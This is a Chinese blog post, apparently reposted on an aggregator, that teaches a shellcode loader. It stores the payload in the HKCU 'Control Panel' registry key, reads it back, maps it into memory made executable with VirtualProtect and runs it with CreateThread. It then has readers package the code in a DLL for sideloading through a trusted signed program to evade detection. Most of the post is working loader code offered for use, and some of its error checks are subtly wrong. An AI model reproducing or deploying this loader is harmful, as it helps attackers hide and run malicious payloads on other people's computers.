、写入Shellcode到注册表上线

news2025/1/19 20:19:30

其实本质就是将shellcode写入到注册表中,然后读取注册表中的shellcode,然后创建线程去执行shellcode。

如下图:
在这里插入图片描述

写入注册表shellcode

这里将shellcode写入到注册表中,在我们需要的时候再去读取然后执行。

这里用到如下两个Windows API函数。

RegOpenKeyExA
RegSetValueExA
RegOpenKeyExA
LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey,
  [in]           DWORD  ulOptions,
  [in]           REGSAM samDesired,
  [out]          PHKEY  phkResult
);

第一个参数需要的是打开注册表的句柄。

第二个参数表示要打开注册表子项的句柄。

第三个参数表示指定要在打开密钥时应用的选项。

最重要是的是第四个参数是对注册表的访问权限,因为我们要在注册表下创建一个String Value,所以这里的权限我们设置为KEY_SET_VALUE即可。

如下代码:

RegOpenKeyExA(HKEY_CURRENT_USER,REGISTRY,0,KEY_SET_VALUE,&keys);

接下来就是设置注册表的值了。

这里使用的是RegSetValueExA函数 如下:

LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

第一个参数就是注册表的句柄,而且它的权限必须是KEY_SET_VALUE,也就是我们上面设置的。

第二个参数是我们要设置值的名称,就是注册表里面值得名称,第三个参数是保留参数必须为0,第四个参数是注册表里面值得类型,这里指定为REG_BINARY,表示任意的二进制数据,这里可以参考微软官网: Registry value types - Win32 apps | Microsoft Learn

第五个参数表示你要存储的数据,也就是你的shellcode,最后一个参数是你shellcode的大小。

如下代码实现:

#define REGISTRY "Control Panel" //这里是写入注册表的目录 也就是 计算机\HKEY_CURRENT_USER\Control Panel
#define REGSTRING "relaysec" //定义你注册表写入值得名字
BOOL WirteShellcodeRegister(PBYTE shellcode,DWORD shellcodeSize) {
     BOOL        bs = TRUE;
     LSTATUS     sts = NULL;
     HKEY        keys = NULL;
     sts = RegOpenKeyExA(HKEY_CURRENT_USER,REGISTRY,0, KEY_SET_VALUE, &keys);
     if(sts == NULL){
         bs = FALSE;
     }
     sts = RegSetValueExA(keys, REGSTRING, 0, REG_BINARY, shellcode, shellcodeSize);
     if(sts == NULL){
         bs = FALSE;
     }
_EndOfFunction:
    if (keys)
        RegCloseKey(keys);
    return bs;
}

成功写入:
在这里插入图片描述
写入之后我们接下来要进行读取注册表中的shellcode。

读取注册表shellcode

这里需要用到如下的Windows API函数:

RegGetValueA
HeapAlloc
RegGetValueA
LSTATUS RegGetValueA(
  [in]                HKEY    hkey,
  [in, optional]      LPCSTR  lpSubKey,
  [in, optional]      LPCSTR  lpValue,
  [in, optional]      DWORD   dwFlags,
  [out, optional]     LPDWORD pdwType,
  [out, optional]     PVOID   pvData,
  [in, out, optional] LPDWORD pcbData
);

第一个参数依旧是注册表项的句柄,而且必须是KEY_QUERY_VALUE权限的。

第二个参数填写注册表的路径,它将从子项中检索注册表的值。

第三个参数表示注册表的名称。

第四个参数用于限制数据类型,如果值的数据类型不符合此条件,则函数将失败,这里我们设置RRF_RT_ANY即可,没有类型限制。

第五个参数是存储在指定值中的数据类型的代码,一般设置为NULL。

第六个参数表示接收存储在指定值的指针,如果不需要值得话也可以设置为NULL。

最后一个参数接收值数据的缓冲区的指针,这里我们设置接收一下即可。

如下完整代码:

BOOL ReadShellcodeRegister(PBYTE* shellcode, SIZE_T* shellcodeSize) {
	LSTATUS    sts = NULL;
	DWORD		dread = NULL;
	PVOID		ps = NULL;
	sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, NULL, &dread);
	if (sts !=0L) {
		return FALSE;
	}
	ps = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dread);
	if (ps == NULL) {
		return FALSE;
	}
	sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, ps, &dread);
	if (sts != 0L) {
		return FALSE;
	}
	*shellcode = (PBYTE)ps;
	*shellcodeSize = dread;
	return TRUE;
}

这里为什么要读取两次,因为第一次读取的是注册表项,第二次才是值。
在这里插入图片描述
读取到值之后然后赋值给shellcode。

读取完成之后就是执行了,这里我们使用创建线程的方式去执行。

首先申请一块内存:

BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize){
     DWORD dwOldProtection = NULL;
     PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, 	  PAGE_READWRITE);
}

在这里插入图片描述
申请内存之后将shellcode复制进去。

BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize){
     DWORD dwOldProtection = NULL;
     PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, 	  PAGE_READWRITE);
     if (shellcodeAddress == NULL) {
    		return FALSE;
	}
     memcpy(shellcodeAddress, shellcode, shellcodeSize);
	 memset(shellcode, '\0', shellcodeSize);
}

在这里插入图片描述
copy进去之后将权限更改为PAGE_EXECUTE_READWRITE,然后创建线程执行。

BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize){
     DWORD dpOld = NULL;
     PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, 	  PAGE_READWRITE);
     if (shellcodeAddress == NULL) {
    		return FALSE;
	}
     memcpy(shellcodeAddress, shellcode, shellcodeSize);
	 memset(shellcode, '\0', shellcodeSize);
      if (!VirtualProtect(shellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dpOld)) {
     		return FALSE;
     }
     getchar();

    if (CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcodeAddress, NULL, NULL, NULL) == NULL) {
        return FALSE;
    }

    return TRUE;
}

在这里插入图片描述

集成到白加黑中

我们直接将前面所写的写入,读取,执行这三部的代码copy到dll中,然后放到导出函数去执行即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
白程序前面文章回复消息可以拿。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1330960.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智能硬件(6)之通用引脚(GPIO)

小编带领大家学习的四大开源硬件和智能模块,他们之间是如何通信的,主控芯片是如何控制智能模块,做某些事情呢?有没有小朋友发起疑问呢? 这里,涉及到了特别重要的知识点,就是通用引脚&#xff0c…

MAC地址、IP地址、端口

1.MAC 地址 网卡是一块被设计用来允许计算机在计算机网络上进行通讯的计算机硬件,又称为网络适配器或网 络接口卡NIC 。其拥有 MAC 地址,属于 OSI 模型的第 2 层,它使得用户可以通过电缆或无线相互连接。每一个网卡都有一个被称为 MAC 地…

Pipelined-ADC设计二——结构指标及非理想因素(Part2)

接上文,本章将两个比较重要的非理想因素,因此各项指标制定。后续会对常见的非理想因素给出常见的解决方法,以及设计所采用的方法。 2.2.3. 比较器失调 在流水线 ADC 中,比较器的主要误差来源就是比较器失调,称为失调误…

Python入门知识点分享——(八)文件的open方法

学完了Python当中的数据类型,下一步我们来了解如何用Python语言打开文件并添加内容。 目录 file mode buffering encoding errors newline closefd opener 函数 打开文件需要用到open函数,完整的语法格式如下所示,为了演示方便&…

量化服务器 - 后台挂载运行

服务器 - 后台运行 pip3命令被kill 在正常的pip命令后面加上 -no-cache-dir tmux 使用教程 https://codeleading.com/article/40954761108/ 如果你希望在 tmux 中后台执行一个 Python 脚本,你可以按照以下步骤操作: 启动 tmux: tmux这将会创建一个新…

全方位掌握卷积神经网络:理解原理 优化实践应用

计算机视觉CV的发展 检测任务 分类与检索 超分辨率重构 医学任务 无人驾驶 整体网络架构 卷积层和激活函数(ReLU)的组合是网络的核心组成部分 激活函数(ReLU) 引入非线性,增强网络的表达能力。 卷积层 负责特征提取 池化层…

CSM4054 500mA线性锂离子电池充电管理 适用消费类的电子产品

CSM4054 是一款完整的单节鲤离子电池采用恒定电流/恒定电压线性充电器。其 SOT23-5 封装与较少的外部元件数量使得 CSM4054 成为便携式应用的理想选择。 CSM4054 可以适合 USB 电源和适配器电源工作。由于采用了内部 PMOSFET 架构,加上防倒充电路&#xff0…

Rust报错:the msvc targets depend on the msvc linker but `link.exe` was not found

当我在我的 windows 电脑上安装 rust,然后用 cargo 新建了一个项目后,cargo run 会报错: error: linker link.exe not found| note: program not foundnote: the msvc targets depend on the msvc linker but link.exe was not foundnote: p…

如何实现酷狗音乐pc页面点击播放时,打开多个歌曲播放时,始终在一个播放页面,(标签页的通讯)

大致有两种思路, 一种是通过wind.open()方法传第二个参数, A页面: //点击跳转播放页函数function toPlayPage(){window.open(path/xxxx/xxxx?name音乐名,music)//第二个参数写一个定值,代表跳转页面都为music标签页&#xff0…

小程序本地文件读、写、追加数据操作,以及修改文件内容

小程序系统文件管理器 FileSystemManager 要操作/读取本地文件,首先需要创建文件或文件夹,然后再对文件进行读写操作; 首先创建文件 FileSystemManager.writeFile 可直接创建文件并写入内容 定义文件路径,此路径在读写操作时保持一致 const path = `${wx.env.USER_DATA…

基于电商场景的高并发RocketMQ实战-NameServer内核原理剖析、Broker 主从架构与集群模式原理分析

🌈🌈🌈🌈🌈🌈🌈🌈 【11来了】文章导读地址:点击查看文章导读! 🍁🍁🍁🍁🍁🍁&#x1f3…

分而治之:Fork/Join框架(构造一个1到200 000求和的任务)

Fork一词的原始含义是吃饭用的叉子,也有分叉的意思。在linux平台中, 方法fork用来创建子进程。使得系统进程可以多一个执行分组。 而join方法这里表示等待,也就是使用fork方法后系统多了一个执行分支(线程) 所以需要等待这个执行分支执行完毕…

【NI-RIO入门】使用其他文本语言开发CompactRIO

1.FPGA 接口Python API Getting Started — FPGA Interface Python API 19.0.0 documentation 2.FPGA接口C API FPGA 接口 C API 是用于 NI 可重配置 I/O (RIO) 硬件(例如 NI CompactRIO、NI Single-Board RIO、NI 以太网 RIO、NI FlexRIO、NI R 系列多功能 RIO 和…

技术分享 | 接口测试请求超时怎么办?

​ 📢专注于分享软件测试干货内容,欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正!📢交流讨论:欢迎加入我们一起学习!📢资源分享:耗时200小时精选的「软件测试…

机场数据治理系列介绍(2):六图法开展数据治理的步骤与要点

目录 一、机场数据治理的六图法 1、何为六图法 二、应用数据治理六图法的相关工作步骤 1、制定战略目标 2、梳理业务情况 3、收集需求 4、构建数智应用地图 5、选择合适的算法 6、建立数据地图 7、持续改进和优化 三、相关要点 1、明确数据治理三张清单 2、持续构…

JWT是什么?它有什么用?

1. 什么是 JWT? JWT是 JSON Web Token 的缩写,通过数字签名的方式,以 JSON 对象为载体,在不同的服务器终端之间安全传输的信息。 2. JWT 有什么用? JWT 最常见的场景就是授权认证,一旦用户登录&#xff…

异方差 的 BP检验 方法及原理详解

异方差 的 BP检验详解            文章目录 1. `BP`检验的步骤2. 场景示例步骤 ①步骤 ②BP检验,也称为Breusch-Pagan检验,是一种用于检验线性回归模型中异方差性(即误差项方差不恒定)的统计方法。该方法由Trevor S. Breusch和Adrian R. Pagan在1980年提出。 1.…

亚马逊圣诞关键词怎么选?亚马逊圣诞节促销活动有哪些?——站斧浏览器

亚马逊圣诞关键词怎么选? 以下是在亚马逊圣诞期间利用长尾关键词的一些建议: 圣诞主题关键词:随着节日的临近,与圣诞相关的关键词搜索热度将急剧上升。在产品标题、描述、关键词等位置使用与圣诞节相关的关键词,比如…

ArcTS循环ForEach

//定义类 class Item{image:ResourceStrconstructor(image:ResourceStr){this.imageimage} } Entry Component struct Index {//声明变量private items:Array<Item>[new Item($r(app.media.my_icon)),new Item($r(app.media.my_icon)),new Item($r(app.media.my_icon)),n…

人大金仓Kingbase数据库备份和还原

前言 最近在项目开发过程中&#xff0c;使用了国产数据库人大金仓&#xff08;即Kingbase数据库&#xff09;&#xff0c;在使用过过程中需要对数据库进行备份与还原&#xff0c;在此对相关的命令进行简单介绍&#xff0c;以备不时之需。 Linux环境下安装人大金仓可参考此篇文…